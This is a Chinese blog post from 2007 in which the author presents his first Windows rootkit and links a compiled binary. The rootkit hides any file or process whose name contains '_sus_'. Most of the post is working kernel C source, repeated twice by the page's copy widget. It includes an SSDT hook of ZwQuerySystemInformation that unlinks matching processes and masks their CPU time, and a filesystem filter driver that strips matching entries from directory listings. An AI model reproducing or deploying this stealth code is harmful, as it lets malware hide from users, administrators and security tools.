我写的第一个rootkit--隐藏文件和进程[ 2007-10-02 16:41:07 | 作者: dklkt ]
字号: 大 | 中 | 小
十一前写的,这两天比较忙,所以现在才发上来.
下面是本程序的用法:view plaincopy to clipboardprint?
=================================================================
This is SUS's rootkit. It can hide files and processes
when their names include "_sus_".
=================================================================
Written by dklkt. 2007.9
Notice that it can't run automaticly after the computer reboot!
Usage: sushide2003 [-start] Install and start the SUS's rootkit.
sushide2003 -uninstall Uninstall the rootkit.
-----------------------------------------------------------------
=================================================================
This is SUS's rootkit. It can hide files and processes
when their names include "_sus_".
=================================================================
Written by dklkt. 2007.9
Notice that it can't run automaticly after the computer reboot!
Usage: sushide2003 [-start] Install and start the SUS's rootkit.
sushide2003 -uninstall Uninstall the rootkit.
----------------------------------------------------------------- 直接运行,或者加参数-start运行,都是安装并开始rootkit.而加参数-uninstall则是停掉并移除
rootkt.
这个程序的功能是隐藏所有文件名中含有_sus_的文件,并且也在进程中隐藏它们.
下面说说具体的功能实现:
1.隐藏进程.
隐藏进程的实现用的是SSDT钩子技术. SSDT是System Service Dispatch Table(系统服务调度表
).该表可以基于系统调用病好进行索引,以便定位函数的内存地址. 再说说windows操作系统, 有个叫
ZwQuerySystemInformation的函数, Taskmgr.exe通过该函数获取系统上的进程列表. 我们通过将
NtQuerySystemInformation函数放到SSDT中, 然后在原函数返回的结果上进行过滤,就可以达到隐藏进程
的目的.
这个是新写的ZwQuerySystemInformation函数:view plaincopy to clipboardprint?
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// This is a query for the process list.
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)
SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),
L"_sus_") ) //进程名中包含_sus_则隐藏
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr-
>NextEntryDelta;
else // we are last, so make prev the
end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so
move it forward
(char *)SystemInformation += curr-
>NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user times of _root_*
// processes to the Idle process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// Reset the timers for next time we filter
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)
SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
}
NTSTATUS NewZwQuerySystemInformation(
IN ULONG SystemInformationClass,
IN PVOID SystemInformation,
IN ULONG SystemInformationLength,
OUT PULONG ReturnLength)
{
NTSTATUS ntStatus;
ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
SystemInformationClass,
SystemInformation,
SystemInformationLength,
ReturnLength );
if( NT_SUCCESS(ntStatus))
{
// Asking for a file and directory listing
if(SystemInformationClass == 5)
{
// This is a query for the process list.
struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)
SystemInformation;
struct _SYSTEM_PROCESSES *prev = NULL;
while(curr)
{
//DbgPrint("Current item is %x\n", curr);
if (curr->ProcessName.Buffer != NULL)
{
if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),
L"_sus_") ) //进程名中包含_sus_则隐藏
{
m_UserTime.QuadPart += curr->UserTime.QuadPart;
m_KernelTime.QuadPart += curr->KernelTime.QuadPart;
if(prev) // Middle or Last entry
{
if(curr->NextEntryDelta)
prev->NextEntryDelta += curr-
>NextEntryDelta;
else // we are last, so make prev the
end
prev->NextEntryDelta = 0;
}
else
{
if(curr->NextEntryDelta)
{
// we are first in the list, so
move it forward
(char *)SystemInformation += curr-
>NextEntryDelta;
}
else // we are the only process!
SystemInformation = NULL;
}
}
}
else // This is the entry for the Idle process
{
// Add the kernel and user times of _root_*
// processes to the Idle process.
curr->UserTime.QuadPart += m_UserTime.QuadPart;
curr->KernelTime.QuadPart += m_KernelTime.QuadPart;
// Reset the timers for next time we filter
m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
}
prev = curr;
if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
else curr = NULL;
}
}
else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
{
struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)
SystemInformation;
times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
}
}
return ntStatus;
} 2.隐藏文件
本来隐藏文件也可以用钩子的,但是由于手头有MS的IFS DDK,所以干脆写成了文件过滤驱动.它直
接作用于文件系统驱动之上, 将其得到的结果修改后返回上层驱动. 因为文件过滤驱动比较复杂,因此我
这里只是简单的修改了一下DDK开发包里提供的sfilter例子.
首先是创建一个处理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControlview plaincopy to clipboardprint?
//=================================================
NTSTATUS
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
NTSTATUS status;
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp); //当前Irp
(IO_STACK_LOCATION)的参数
// PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
PSFILTER_DEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
KEVENT waitEvent;
//UNICODE_STRING path;
ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));
if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
{
goto SkipHandle;
}
if (Irp->RequestorMode == KernelMode)
{
goto SkipHandle;
}
if (KeGetCurrentIrql() != PASSIVE_LEVEL )
{
goto SkipHandle;
}
/*
if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-
>FileInformationClass)
{
goto SkipHandle;
}*/
if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=
FileBothDirectoryInformation)
{
goto SkipHandle;
}
//设置完成回调函数
KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
IoCopyCurrentIrpStackLocationToNext(Irp);
//IoSetCompletionRoutine
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
IoSetCompletionRoutine(
Irp,
DirControlCompletion, //CompletionRoutine
&waitEvent, //context parameter
TRUE,
TRUE,
TRUE
);
status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);
if (STATUS_PENDING == status)
{
//等待完成
status = KeWaitForSingleObject(&waitEvent,
Executive,
KernelMode,
FALSE,
NULL
);
ASSERT(STATUS_SUCCESS == status);
}
if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))
{
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
//KdPrint(("Hook Directory.\n"));
//HandleDirectory(Irp->UserBuffer, &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
HandleDirectory(Irp->UserBuffer, &(Irp->IoStatus.Information));
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
SkipHandle:
IoSkipCurrentIrpStackLocation(Irp);
return IoCallDriver(devExt->AttachedToDeviceObject, Irp);
}
//=================================================
NTSTATUS
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,
IN PIRP Irp)
{
NTSTATUS status;
PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp); //当前Irp
(IO_STACK_LOCATION)的参数
// PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
PSFILTER_DEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
KEVENT waitEvent;
//UNICODE_STRING path;
ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));
if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
{
goto SkipHandle;
}
if (Irp->RequestorMode == KernelMode)
{
goto SkipHandle;
}
if (KeGetCurrentIrql() != PASSIVE_LEVEL )
{
goto SkipHandle;
}
/*
if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)-
>FileInformationClass)
{
goto SkipHandle;
}*/
if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=
FileBothDirectoryInformation)
{
goto SkipHandle;
}
//设置完成回调函数
KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
IoCopyCurrentIrpStackLocationToNext(Irp);
//IoSetCompletionRoutine
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
IoSetCompletionRoutine(
Irp,
DirControlCompletion, //CompletionRoutine
&waitEvent, //context parameter
TRUE,
TRUE,
TRUE
);
status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);
if (STATUS_PENDING == status)
{
//等待完成
status = KeWaitForSingleObject(&waitEvent,
Executive,
KernelMode,
FALSE,
NULL
);
ASSERT(STATUS_SUCCESS == status);
}
if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))
{
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
}
//KdPrint(("Hook Directory.\n"));
//HandleDirectory(Irp->UserBuffer, &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
HandleDirectory(Irp->UserBuffer, &(Irp->IoStatus.Information));
IoCompleteRequest(Irp, IO_NO_INCREMENT);
return status;
SkipHandle:
IoSkipCurrentIrpStackLocation(Irp);
return IoCallDriver(devExt->AttachedToDeviceObject, Irp);
}然后对返回的结果进行操作:view plaincopy to clipboardprint?
//-------------------------------------------
//隐藏文件过滤的函数
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
//处理目录操作
PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
ULONG offset = 0;
ULONG position = 0;
ULONG newLenth = *lpBufLenth;
// WCHAR fileName[] = L"Test.txt";
do
{
offset = currentDirInfo->NextEntryOffset;
if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") ) //文件中包
含_sus_则隐藏
{
//Now We Will Test The FileName
//KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-
>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
if (0 == offset)
{
//KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,
position, newLenth-(*lpBufLenth - position)));
//Reset Last DirInfo NextEntryOffset To Zero!!!
if (lastDirInfo)
{
lastDirInfo->NextEntryOffset = 0;
newLenth -= *lpBufLenth - position;
}
else
{
currentDirInfo->NextEntryOffset = 0;
*lpBufLenth = 0;
return TRUE;
}
}
else
{
//KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,
position));
RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +
offset, *lpBufLenth - position - offset);
newLenth -= offset;
position += offset;
}
}
else
{
//KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,
currentDirInfo->FileName));
//Move Next
position += offset;
lastDirInfo = currentDirInfo;
currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)
currentDirInfo + offset);
}
} while (0 != offset);
*lpBufLenth = newLenth;
return TRUE;
}
//-------------------------------
//完成例程
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
PKEVENT event = Context;
UNREFERENCED_PARAMETER( DeviceObject );
UNREFERENCED_PARAMETER( Irp );
ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));
//if (Irp->PendingReturned) IoMarkIrpPending(Irp);
KeSetEvent(event, IO_NO_INCREMENT, FALSE);
return STATUS_MORE_PROCESSING_REQUIRED;
}
//-------------------------------------------
//隐藏文件过滤的函数
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
//处理目录操作
PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
ULONG offset = 0;
ULONG position = 0;
ULONG newLenth = *lpBufLenth;
// WCHAR fileName[] = L"Test.txt";
do
{
offset = currentDirInfo->NextEntryOffset;
if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") ) //文件中包
含_sus_则隐藏
{
//Now We Will Test The FileName
//KdPrint(("%08x Hided File:%ws[%d]\n", currentDirInfo-
>FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
if (0 == offset)
{
//KdPrint(("l[%d][%d][%d][%d]\n", newLenth, *lpBufLenth,
position, newLenth-(*lpBufLenth - position)));
//Reset Last DirInfo NextEntryOffset To Zero!!!
if (lastDirInfo)
{
lastDirInfo->NextEntryOffset = 0;
newLenth -= *lpBufLenth - position;
}
else
{
currentDirInfo->NextEntryOffset = 0;
*lpBufLenth = 0;
return TRUE;
}
}
else
{
//KdPrint(("n[%d][%d][%d]\n", newLenth, *lpBufLenth,
position));
RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +
offset, *lpBufLenth - position - offset);
newLenth -= offset;
position += offset;
}
}
else
{
//KdPrint(("%08x Directory:%ws\n", currentDirInfo->FileAttributes,
currentDirInfo->FileName));
//Move Next
position += offset;
lastDirInfo = currentDirInfo;
currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)
currentDirInfo + offset);
}
} while (0 != offset);
*lpBufLenth = newLenth;
return TRUE;
}
//-------------------------------
//完成例程
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
PKEVENT event = Context;
UNREFERENCED_PARAMETER( DeviceObject );
UNREFERENCED_PARAMETER( Irp );
ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));
//if (Irp->PendingReturned) IoMarkIrpPending(Irp);
KeSetEvent(event, IO_NO_INCREMENT, FALSE);
return STATUS_MORE_PROCESSING_REQUIRED;
} 因为还是初学rootkit,所以以上代码并非本人原创, 特此声明. 在此也感谢下作者. 很多地方我也
是正在学习中. 目前正在看Greg Hoglund 和James Butler写的《ROOTKITS--Windows内核的安全防护》
。也给大家推荐下。另外,顺便提下,本程序中所用到的方法都可以被IceSword检测到。
附件中是编译好的程序。编译环境win2003,也可在xp中使用。
为了防止恶意使用,程序加了北斗3.7壳。
点击下载
[最后修改由 dklkt, 于 2008-04-27 20:37:40]
标签: 原创程序
评论Feed: http://www.dklkt.cn/feed.asp?q=comment&id=39
本文来源:单克隆抗体's blog
原文地址:http://www.dklkt.cn/article.asp?id=39